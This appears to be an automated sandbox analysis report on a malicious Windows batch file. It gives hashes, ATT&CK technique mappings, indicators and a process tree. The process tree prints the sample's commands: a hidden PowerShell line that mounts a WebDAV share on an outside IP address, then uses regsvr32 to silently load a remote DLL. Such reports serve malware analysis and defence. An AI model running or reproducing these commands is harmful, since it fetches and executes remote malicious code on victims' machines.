0992848db0b734059ec282ae7f2880f7f048a7f0097f54b5a21cefbf8aacb676

Analysis

max time kernel
100s
max time network
18s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 14:16

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General

Target

28464312802608729710.bat
Size

15KB
MD5

145c6f3f3a024f4653881e287825717f
SHA1

3a2d33e1b10bdbb110969ab8fded2aa2f65cb54b
SHA256

0992848db0b734059ec282ae7f2880f7f048a7f0097f54b5a21cefbf8aacb676
SHA512

e7e4126040d543bae389fed430ec4da8d8e431d0c30cdacc42294ba1fc87b533d53235ec397673d8e3685c6b3db4c80bddc39489436a655f19ee0f99cd8f9d5e
SSDEEP

384:OQojQJY3soWbWTPlwQnosKicqdEtw048y/e3SSAzX:OSY3soWbWTP3fyqd4Ly/bpzX

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2712 wrote to memory of 2652	2712	powershell.exe	32
PID 2712 wrote to memory of 2652	2712	powershell.exe	32
PID 2712 wrote to memory of 2652	2712	powershell.exe	32
PID 2712 wrote to memory of 2660	2712	powershell.exe	33
PID 2712 wrote to memory of 2660	2712	powershell.exe	33
PID 2712 wrote to memory of 2660	2712	powershell.exe	33
PID 2712 wrote to memory of 2660	2712	powershell.exe	33
PID 2712 wrote to memory of 2660	2712	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\28464312802608729710.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\3398325314068.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2652
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\3398325314068.dll
    3⤵
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2712-24-0x000000001B200000-0x000000001B4E2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-25-0x00000000025D0000-0x00000000025D8000-memory.dmp

Filesize
32KB

Download